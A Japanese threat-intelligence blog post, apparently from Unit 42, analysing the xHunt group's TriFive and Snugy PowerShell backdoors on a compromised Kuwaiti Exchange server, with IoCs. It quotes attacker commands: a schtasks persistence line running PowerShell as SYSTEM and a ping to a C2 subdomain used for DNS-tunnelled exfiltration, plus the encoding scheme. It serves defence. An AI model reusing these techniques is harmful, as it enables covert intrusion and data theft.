This post is also available in: English (英語)
概要
xHuntは少なくとも2018年7月からアクティブな攻撃キャンペーンで、私たちはこの攻撃グループがクウェートの政府、配送・輸送組織をターゲットにしている様子を観察してきました。最近私たちは、攻撃者がクウェートの組織でMicrosoft Exchange Serverを侵害した証拠を確認しました。アクターがこのExchangeサーバーにアクセスした方法は確認できていませんが、侵害に関連するスケジュールタスクの作成タイムスタンプから、2019年8月22日以前にはExchangeサーバーにアクセスしていたものと考えられます。 私たちが観察した活動には2つのバックドアが含まれていました。うち1つは私たちが「Snugy」と名付けたCASHY200の亜種で、もうひとつは私たちが「TriFive」と名付けたバックドアです。これらにくわえ、私たちが「BumbleBee」と名付けたWebシェルも含まれていました。
TriFiveバックドアとSnugyバックドアは、さまざまなコマンド&コントロール(C2)チャネルを使用してアクターと通信し、侵害したExchangeサーバーへのバックドアアクセスを提供するPowerShellスクリプトです。TriFiveバックドアは、Exchange Webサービス(EWS)を使う電子メールベースのチャネルを使用し、侵害された電子メールアカウントの[削除済みアイテム]フォルダに下書きを作成します。Snugyバックドアは、DNSトンネリングチャネルを使用し、侵入先のサーバーでコマンドを実行します。これら2つのバックドアは、攻撃キャンペーンで以前に使用されていたツールとは異なるため、ここで概要を説明することにします。
BumbleBeeWebシェル関連のアクティビティ分析は今後のブログで提供する予定です。こちらのアクティビティからは、侵害されたサーバーと対話するさいに攻撃者が使う戦術・手法・手順を垣間見ることができます。
なお、パロアルトネットワークス製品をご利用中のお客様は、本稿で説明した攻撃からさまざまな方法で保護されています。詳細は結論を参照してください。
TriFiveバックドアとSnugyバックドア
私たちは2020年9月に、脅威アクターが在クウェート組織を侵害したと通知を受けました。この組織のExchangeサーバーでは、インターネットインフォメーションサービス(IIS)プロセスw3wp.exeを介して疑わしいコマンドが実行されていました。アクターは、ExchangeサーバーにインストールされたBumbleBeeと呼ばれるWebシェルを介し、これらのコマンドを発行していました。BumbleBeeのアクティビティについては、今後のブログで詳しく説明します。私たちは、アクターがシステムにwebシェルをどのようにしてインストールしたかについて調査しましたが、収集できたログ内にはExchangeサーバーのエクスプロイトの証拠は見つかりませんでした。ただし、収集されたログの日付よりかなり前に、攻撃者によって作成された2つのスケジュールタスクが発見されました。いずれも悪意のあるPowerShellスクリプトを実行するものでした。アクターがどちらかのPowerShellスクリプトを使用してwebシェルをインストールしたかどうかは確認できませんでしたが、このログよりも前にサーバーにアクセスしていたものと考えられます。
さて、アクターは、Exchangeサーバー上に2つのタスク、ResolutionHostsとResolutionsHostsを作成していました。どちらのタスクもc:\Windows\System32\Tasks\Microsoft\Windows\WDIフォルダに作成されていたのですが、このフォルダには正規タスクも保存されています。図1に示すWindowsシステムのデフォルトタスクResolutionHostがそれです。正規のResolutionHostタスクは、Windows診断インフラストラクチャ(WDI)解決ホスト関連のもので、システムで発生した問題のインタラクティブトラブルシューティングはこれを使って提供しています。私たちはアクターが正規WDIの一部であるように見せかけるためにこうした紛らわしい名前をタスク名に選んだものと考えています。
アクターは2019年8月28日と同年10月22日にResolutionHosts、ResolutionsHostsという2つの異なるPowerShellベースのバックドアを実行するタスクを作成していました。実行間隔こそ異なりますが、本アクターはこれら2つのPowerShellスクリプトを繰り返し実行していたことから、これら2つのスケジュールタスクは永続化の手段として使用されていたようです。表1は、2つのタスクとそれに関連する作成時間、実行間隔、実行されるコマンドを示しています。2つのタスクによって実行されるコマンドは、splwow64.ps1とOfficeIntegrator.ps1の実行を試みます。これらはそれぞれTriFiveと呼ばれるバックドアと、私たちがSnugyと呼ぶCASHY200の亜種です。これらスクリプトはシステム上の2つの別々のフォルダに保存されていました。フォルダを別にした理由は、バックドアが両方検出されて削除されるのを回避しようとしたためではないかと考えられます。
タスク名 | 作成時間 | 実行間隔 | コマンド |
ResolutionHosts | 2019-08-28T20:01:34 | 30分おき | powershell -exec bypass -file C:\Users\Public\Libraries\OfficeIntegrator.ps1 |
ResolutionsHosts | 2019-10-22T15:02:39 | 5分おき | powershell -exec bypass -file c:\windows\splwow64.ps1 |
表1 悪意のあるPowerShellベースのバックドアを永続的に実行するために使用されるスケジュールタスク。
この表は、2つのバックドアが異なる間隔で実行されること、つまりTriFiveバックドアが5分ごとに実行され、Snugyバックドアが30分ごとに実行されることを示しています。異なる実行間隔を設定した正確な理由はわかりませんが、それはバックドアに関連付けられたC2チャネルのステルス性能に関連している可能性があります。たとえば、SnugyはC2チャネルとしてDNSトンネリングを使用しているのですが、DNSトンネリングはよく知られたC2チャネルであるため、これまで知られていなかった電子メールベースのC2チャネルを利用するTriFiveよりも、検出される可能性が高くなります。このためにSnugyは間隔を長くした可能性があります。
ResolutionHosts、ResolutionsHostsの両タスクをアクターがどのように作成したかについては確認できませんでしたが、同アクターがSnugyサンプルを他のシステムにインストールするさい、バッチスクリプトを使用し、SystemDataProvider、CacheTaskという名前のスケジュールタスクを作成したことはわかりました。たとえば、以下のバッチスクリプトは、SystemDataProviderという名前のスケジュールタスクを作成・実行し、xpsrchvw.ps1という名前のSnugyサンプルを実行します。
1 |
schtasks /create /sc MINUTE /mo 5 /tn "\Microsoft\Windows\SideShow\SystemDataProvider" /tr "powershell -exec bypass -file C:\Windows\Temp\xpsrchvw.ps1" /ru SYSTEM & schtasks /run /tn "\Microsoft\Windows\SideShow\SystemDataProvider" |
TriFiveバックドア
TriFiveはこれまで確認されたことのないPowerShellベースのバックドアで、xHuntアクターは侵入先Exchangeサーバーにこれをインストールした後、スケジュールタスク経由で5分ごとに実行していました。TriFiveは、正規ユーザーの受信トレイにログインし、電子メールの [削除済みアイテム] フォルダにあるメールの下書きからPowerShellスクリプトを取得することによって、Exchangeサーバーにバックドアへのアクセスを提供していました。このTriFiveサンプルは、対象組織の正規アカウント名と資格情報を使用していました。つまり同バックドアのインストール以前に攻撃者は本アカウントの資格情報を窃取していたことになります。
xHuntに関連するアクターにとっては、電子メールの下書きと共有された電子メールアカウントを使い、トロイの木馬とアクターとの間でのC2通信を容易にするという手法は、とくに目新しいものではありません。実際、これと同じ一般的手法が、2019年9月にもxHuntキャンペーンに関する最初の公開済みブログで説明したHisokaツールの電子メールベースC2でも使用されていました。Hisokaツールは電子メールの下書きを使用してデータを送受信しており、これらの下書きは[下書き]に残っていましたが、TriFiveバックドアの場合、[下書き]ではなく[削除済みアイテム]フォルダに保存します。
バックドアにコマンドを発行するさい、アクターは同じ正規メールアカウントにログインして件名が「555」の電子メールの下書きを作成し、これに暗号化後base64エンコードされたコマンドを含めておきます。図2は、件名が「555」で、メッセージ本文が「woFyeWt3cw==」のコマンド電子メールのサンプルを示しています。この本文をデコードして復号すると whoami となります。このスクリプトは、PowerShell経由でこれを実行します。
アクターの提供するコマンドを実行するため、PowerShellスクリプトはExchangeサーバー上の正規電子メールアカウントにログインし、[削除済みアイテム]フォルダ内にある件名が「555」の電子メールをチェックします。同スクリプトはメールの下書きを開き、メッセージ本文の内容をbase64デコードしてから、各文字から10を引いて内容を復号します。次にスクリプトは、PowerShell組み込みのInvoke-Expression(iex)コマンドレットを使用し、得られた平文を実行します。提供されたPowerShellコードを実行後、スクリプトは各文字に10を足し、暗号文をbase64でエンコードすることで、結果を暗号化します。TriFiveは、[削除済みアイテム]フォルダに件名「555」の電子メールを保存し、エンコードした暗号文を下書きのメッセージ本文に設定することで、コマンドの結果をアクターに送信します。図3に、TriFiveスクリプトによって作成された[削除済みアイテム]フォルダ内のメ―ル下書きのサンプルを示します。この下書きを使って、実行されたコマンドの結果が送信されます。件名は「555 s」で、メッセージ本文は「bQB5AHgAfgB5AH0AeQBmAGsAbgB3AHMAeABzAH0AfgB8AGsAfgB5AHwA」です。これがデコードされ、復号されると contoso\administrator になります。
TriFiveのPowerShellスクリプトにはシステム上で継続的に実行するためのループは含まれていません。その代わり、TriFiveは前述のスケジュールタスクResolutionsHostsに依存して永続化を行います。
Snugyバックドア
ResolutionHostsタスク内で確認されたOfficeIntegrator.ps1というファイルは、私たちがSnugyと呼んでいるPowerShellベースのバックドアです。このバックドアは、アクターがシステムのホスト名を取得し、コマンドを実行できるようにするものです。SnugyはxHuntの以前の攻撃キャンペーンでアクターが使用したCASHY200バックドアの亜種です。2019年7月、トレンドマイクロはこのバックドア用にBackdoor.PS1.NETERO.Aという名前の検出シグネチャを作成しました。このことはCASHY200のこの特定亜種が1年以上アクティブであることを示しています。ただし私たちはこのバックドアの亜種をSnugyと呼んでいます。その理由はNeteroという名前はすでにxHuntアクターによって使用されているHisokaツールの亜種名だからです。
このSnugyツールとCASHY200の間では次のコード重複が確認されました。
- 文字列を16進表現に変換するさい使用される関数
- ランダムな大文字・小文字文字列を生成するさい使用される関数
- pingコマンドまたはnslookupコマンド(サンプルによって異なる)で解決されたIPアドレスを抽出する正規表現
- コマンドハンドラがIPアドレスの最初のオクテットに基づいて実行するコマンドを決めること
- コマンドハンドラが利用できるコマンドが同じコマンド (gethostnameとruncommandの2つ)であること
CASHY200同様、SnugyはDNSトンネリングを使用してC2サーバーと通信します。具体的には、DNS Aレコードをルックアップし、アクター制御下にあるC2ドメインのカスタム作成されたサブドメインを解決します。ただし、カスタム作成されたドメインの構造は、以下の理由により以前のCASHY200サンプルとは大幅に異なります。
- サブドメインの重要フィールドの変数値
- データセクションのランダムに選択されたフィールドの順序
- アウトバウンドクエリごとにランダムに選択されたC2ドメイン
- クエリごとに11バイトではなく1バイトのデータしか送信できないこと
サブドメインと各クエリが送信できるデータ量の違いが、私たちがこの特定亜種サンプルに独自名を付けた主な理由です。Snugyのサンプルは、C2ドメインとして次のいずれかのドメインをランダムに選択するように構成されていました。
- hotsoft[.]icu
- uplearn[.]top
- lidarcc[.]icu
- deman1[.]icu
CASHY200の初期の亜種同様、Snugyの亜種も以下のコマンドを使用してカスタム作成されたドメインにpingを送信します。このpingは最終的にはドメインの解決を試行してから、解決されたIPアドレスにICMPリクエストを送信します。
1 |
cmd /c ping -n 1 <カスタム作成されたサブドメイン>.<C2ドメイン> |
Snugyはpingアプリケーションが解決したIPアドレスを抽出しますが、pingの結果からIPアドレスを収集するさいは、以下の正規表現が使われます。
1 |
\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b |
この正規表現は、IPアドレスを抽出・検証する方法として、多くのサイトで公開されているものです。ただし、これと同じ正規表現が以前のxHunt攻撃で使用されたCASHY200ツールで使われている様子を私たちは観測しています。SnugyにはCASHY200と同じコマンドセットもあって、最初のオクテットを使用してアクターが実行するコマンドを決めています。表2の2つの最初のオクテットにより、システムのホスト名をC2に送信するか、コマンドを実行します。最初のオクテット86と102はCASHY200のときの48と92とは異なりますが、いずれのバックドアも2番目のオクテットを使用して、C2からコマンドをダウンロードするさいバックドアが発行すべきDNSクエリ数を決めています。
IPアドレス | 説明 |
86.x.x.x | hostnameコマンドを実行し、結果をC2に送信する |
102.<クエリ数>.x.x | cmd /c経由でコマンドを実行し結果をC2に送信する |
表2 Snugyバックドアのコマンドハンドラ
以下のC2ドメインの構造で示したように、Snugyによって作成されたサブドメインには、通信タイプフィールド、データセクションの要素の順序を指定するフィールド、データセクションが含まれます。
<通信タイプを表す文字><データセクションのフィールドの順序を示す文字><データセクション>.<C2ドメイン>
前述したように、サブドメインの構造は以前の亜種とは大きく異なります。各通信タイプごとに指定できる値が複数あるだけでなく、サブドメインのデータセクションのフィールドの順序をランダムにすることもできるようになっています。Snugyの生成するサブドメインの最初の文字は通信タイプで、これがC2サーバーにインバウンドDNSクエリの目的を伝えます。表3は、サブドメインを構築するさい、Snugyがランダムに選択する各通信タイプに指定可能な文字と各タイプの目的を示しています。
通信タイプ | 説明 |
‘q’,’b’,’e’,’d’ または ‘m’ | 初期ビーコン |
‘z’,’j’,’r’,’p’ または ‘x’ | ホスト名をデータとしてC2サーバーに送信する |
‘s’,’n’,’u’,’g’ または ‘y’ | C2サーバーからのデータチャンクを要求 |
‘c’,’f’,’v’,’h’ または ‘k’ | コマンド実行の結果をデータとしてC2サーバーに送信する |
‘i’,’t’,’o’,’l’ または ‘w’ | データ送信終了を通知 |
表3 SnugyのDNSトンネリングプロトコルにおける通信タイプとその目的
Snugyの生成したサブドメインの2番目の文字は、サブドメインの後続データセクションのフィールド順序をC2サーバーに通知するものです。サブドメインのデータセクションには、以下の3つのフィールドと、それに対応してSnugyがフィールド順を指定するのに使用する0、1、2のインデックスが含まれています。
0. 2バイトのキャンペーンコードを表す4つの16進文字
1. 2つのランダムな文字
2. 1バイトのデータを表す2つの16進文字と、それに続く1から9までのシーケンス番号
Snugyは、0、1、2のインデックスを使用してデータセクションのフィールドを並べ替え、順序文字を含めることで、C2がインバウンドクエリの解析方法を理解できるようにしています。表4は、データフィールドの順序と、その順序に対応する順序を表す文字を示しています。初期ビーコン通信タイプではデータ部が空白になっていることに注意してください。
インデックスの順序 | 文字 | データフィールドの構造 |
012 | t | <キャンペーンコード><ランダムな文字><データとシーケンス番号> |
021 | m | <キャンペーンコード><データとシーケンス番号><ランダムな文字> |
102 | d | <ランダムな文字><キャンペーンコード><データとシーケンス番号> |
120 | h | <ランダムな文字><データとシーケンス番号><キャンペーンコード> |
201 | p | <データとシーケンス番号><キャンペーンコード><ランダムな文字> |
210 | z | <データとシーケンス番号><ランダムな文字><キャンペーンコード> |
表4 SnugyのDNSトンネリングプロトコルで使用されるデータフィールドと対応する文字の順序
SnugyのDNSトンネリングプロトコルは、クエリごとに1バイトのデータしか送信できないため、データ抽出効率はかなり悪くなっています。ただしDNS Aレコードクエリを使用すれば、DNSトンネリングプロトコルはDNSクエリごとに4バイトのデータを受信できることがわかります。たとえば、C2サーバーがビーコンクエリを最初のオクテットとして「86」を持つIPアドレスに解決した場合、Snugyは12個のクエリを発行してホスト名「WIN-DESKTOP」をC2サーバーに送信します。表5はその12個のクエリを示しており、C2はクエリを受けて各サブドメインを解析します。この表はデータを抽出する上でいかにこのDNSトンネリングプロトコルの効率が悪いのかも示しています。
ドメイン | 解析されたドメイン – 通信タイプ、順序、データの順序 |
jp5717266vd.lidarcc.icu | j (hostname) p (201) 57 (データ「W」) 1 (seq) 7266 (‘rf’) vd (rand) |
jhxv4927266.hotsoft.icu | j (hostname) h (120) xv (rand) 49 (データ「I」) 2 (seq) 7266 (‘rf’) |
jp4e37266iB.hotsoft.icu | j (hostname) p (201) 4e (データ「N」) 3 (seq) 7266 (‘rf’) iB (rand) |
jz2d4gs7266.deman1.icu | j (hostname) z (210) 2d (データ「-」) 4 (seq) gs (rand) 7266 (‘rf’) |
jp4457266xr.hotsoft.icu | j (hostname) p (201) 44 (データ「D」) 5 (seq) 7266 (‘rf’) xr (rand) |
jm7266456Va.hotsoft.icu | j (hostname) m (021) 7266 (‘rf’) 45 (データ「E」) 6 (seq) Va (rand) |
jhNK5377266.uplearn.top | j (hostname) h (120) NK (rand) 53 (データ「S」) 7 (seq) 7266 (‘rf’) |
jt7266CF4b8.lidarcc.icu | j (hostname) t (012) 7266 (‘rf’) CF (rand) 4b (データ「K」) 8 (seq) |
jp5497266qV.uplearn.top | j (hostname) p (201) 54 (データ「T」) 9 (seq) 7266 (‘rf’) qV (rand) |
jt7266iW4f1.lidarcc.icu | j (hostname) t (012) 7266 (‘rf’) iW (rand) 4f (データ「O」) 1 (seq) |
jm7266502HA.lidarcc.icu | j (hostname) m (021) 7266 (‘rf’) 50 (データ「P」) 2 (seq) HA (rand) |
ot7266Ng502.hotsoft.icu | o (done) t (012) 7266 (‘rf’) Ng (rand) 50 (データ「P」) 2 (seq) |
表5 DNSトンネリングプロトコルを介してホスト名を送信するSnugyのクエリサンプル
侵害されたサーバーが送信したpingリクエスト経由でクエリ対象となったドメインを取得できたので、Snugyツールを使用してコマンドを実行し、その結果を漏出させている攻撃者の様子を観察しました。
サブドメイン内から抽出されたデータに基づいて、
ipconfig /all と
dir を実行したアクターを特定することができました。残念ながらリクエストのサブセットしか得られなかったので、抽出されたデータは途中で切れてしまっていました。このことは、私たちの観察しなかった他のコマンドをアクターが実行していた可能性があることも示唆しています。
同一の在クウェート組織の別のサーバー上でSyncRes.ps1という名前とSHA256ハッシュ値a4a0ec94dd681c030d66e879ff475ca76668acc46545bbaff49b20e17683f99cをもつ2つ目のSnugyサンプルが見つかりました。アクターはこのPowerShellスクリプトをC:\Windows\System32\bg-BGに保存し、ResolutionHostsという名前のスケジュールタスクをc:\Windows\System32\Tasks\Microsoft\Windows\RACフォルダに作成することにより、このSnugyサンプルをインストールしてPowerShellスクリプトを20分ごとに実行していました。この特定SnugyのサンプルはC2に1つのルートドメインのみを使用します。具体的にはsharepoint-web[.]comというドメインで、DNSトンネル用にカスタム作成されるサブドメインには異なる構造が使用されています。
1 |
<通信タイプを表す文字><ランダムな2つの文字>46<3バイトの16進数表現のデータセクション>.<C2ドメイン> |
このSnugyサンプルは、サブドメイン先頭にあるハードコードされた文字セット1文字を使用して通信タイプを示します。通信タイプに使用される文字セットは、前に説明したOfficeIntegrator.ps1の亜種と同じです。ただし表6に示すようにsnugyにはさまざまな通信タイプを表す文字セットがあり、この点だけが異なります。表6は、このサンプルには3つの通信タイプしかないことも示しています。このサンプルにはhostnameコマンドは含まれておらず、C2が199を最初のオクテットとして以下のIPアドレスでビーコンクエリに応答した場合にのみコマンドを実行できます。
通信タイプ | 説明 |
‘i’,’t’,’o’,’l’ または ‘w’ | 初期ビーコン |
‘s’,’n’,’u’,’g’ または ‘y’ | C2サーバーからのデータチャンクを要求 |
‘q’,’b’,’e’,’d’ または ‘m’ | コマンド実行の結果をデータとしてC2サーバーに送信する |
表6 2つ目のSnugyサンプル内で確認されたDNSトンネリングプロトコルの通信タイプとその目的
xHuntとのインフラストラクチャのリンク
本稿で説明したアクティビティに関連する唯一のインフラストラクチャには、SnugyがDNSトンネリングを使用してC2として通信した5つのドメイン、hotsoft[.]icu、uplearn[.]top、lidarcc[.]icu、deman1[.]icu、sharepoint-web[.]comが含まれていました。他のインフラストラクチャとの重複はあまりありませんでしたが、表7に示すように、ドメインns1.alforatsystem[.]comは、2019年5月の4つのSnugyC2ドメイン上のいくつかのns1とns2サブドメインと同じIPアドレスに解決されました。
ドメイン | パッシブDNS | 最初に確認された日時 |
ns1.hotsoft[.]icu | 198.98.48[.]181 | 05/06/2019 10:48:37 AM |
ns2.hotsoft[.]icu | 198.98.48[.]181 | 05/06/2019 10:48:37 AM |
ns1.uplearn[.]top | 198.98.48[.]181 | 05/11/2019 11:42:40 AM |
ns2.uplearn[.]top | 198.98.48[.]181 | 05/11/2019 11:42:40 AM |
ns1.lidarcc[.]icu | 198.98.48[.]181 | 05/08/2019 12:53:29 PM |
ns2.lidarcc[.]icu | 198.98.48[.]181 | 05/08/2019 12:53:29 PM |
ns1.deman1[.]icu | 198.98.48[.]181 | 05/08/2019 10:30:24 AM |
ns2.deman1[.]icu | 198.98.48[.]181 | 05/08/2019 10:30:24 AM |
ns1.alforatsystem[.]com | 198.98.48[.]181 | 05/05/2019 8:41:38 AM |
ns2.alforatsystem[.]com | 198.98.48[.]181 | 05/05/2019 8:41:38 AM |
表7. SnugyのC2ドメインと以前xHuntで使用されていたドメインとで重複するインフラストラクチャ
アクターはalforatsystem[.]comというドメインを使ってZIPアーカイブをホストしていましたが、これは以前のxHuntキャンペーンにおける攻撃で、バックドアのインストール用LNKショートカットファイルを配信するのに使用されていたものです。alforatsystem[.]comドメインには私たちが以前公開したブログで論じたxHuntに関連付けられた他のドメインとのインフラストラクチャの重複もあります。たとえばfirewallsupports[.]comやpasta58[.]comなどがそれです。
結論
脅威アクターがクウェートの組織を攻撃しているかぎり、xHuntの攻撃キャンペーンは続きます。このグループには、新たな機能や通信チャネルをつかうことにより、ツールをわずかに調整して検出を回避する能力があることが示されています。クウェート政府組織の侵害されたExchangeサーバーにインストールされた2つのバックドアは、C2通信に秘密のチャネルを使用していました。具体的には、DNSトンネリングと、侵害された電子メールアカウントの[削除済みアイテム]フォルダにある下書きを使用する電子メールベースのチャネルでした。xHuntキャンペーンで使用されていたHisokaツールのなかでは1亜種のみがC2通信に電子メールの下書きと侵害された電子メールアカウントを使用していましたので、このグループは組織内で侵害済みExchangeサーバーにアクセスできるときは電子メールベースの通信チャネルを使い始めるようです。
パロアルトネットワークスのお客様は、次の方法で本稿で概説した攻撃から保護されています。
- 既知のすべてのTriFiveとSnugyバックドアにはWildFireにより「malicious(悪意がある)」と判定されます。
- AutoFocusをお使いのお客様は、次のタグを使用してTriFiveとSnugyバックドアを追跡できます: TriFive、Snugy
- Cortex XDRはTriFiveとSnugyの両方のペイロードをブロックします。
- SnugyのC2ドメインはURLフィルタリングとDNSセキュリティによりコマンド&コントロールと分類されます。
- 脅威防御のシグネチャ「TriFive Backdoor Command and Control Traffic Detection」はTriFiveのコマンド&コントロールチャネルを検出します。
追加資料
- xHunt攻撃キャンペーン: 資格情報収集用の新たな水飲み場が見つかる
- xHunt攻撃者のチート シート: 人気アニメの剣名になぞらえたツールSakabotaの検出回避テストを行う
- 詳説xHunt: DNS SecurityがDNSトンネル検出し新たなPowerShellバックドアをブロック
- Unit 42、クウェートの海運・運輸関連組織へのサイバー攻撃キャンペーン「xHunt」を発見
IoC
TriFiveサンプル
- 407e5fe4f6977dd27bc0050b2ee8f04b398e9bd28edd9d4604b782a945f8120f
Snugyサンプル
- c18985a949cada3b41919c2da274e0ffa6e2c8c9fb45bade55c1e3b6ee9e1393
- 6c13084f213416089beec7d49f0ef40fea3d28207047385dda4599517b56e127
- efaa5a87afbb18fc63dbf4527ca34b6d376f14414aa1e7eb962485c45bf38372
- a4a0ec94dd681c030d66e879ff475ca76668acc46545bbaff49b20e17683f99c
SnugyのC2ドメイン
- deman1[.]icu
- hotsoft[.]icu
- uplearn[.]top
- lidarcc[.]icu
- sharepoint-web[.]com
スケジュールタスク名
- ResolutionHosts
- ResolutionsHosts
- SystemDataProvider
- CacheTask-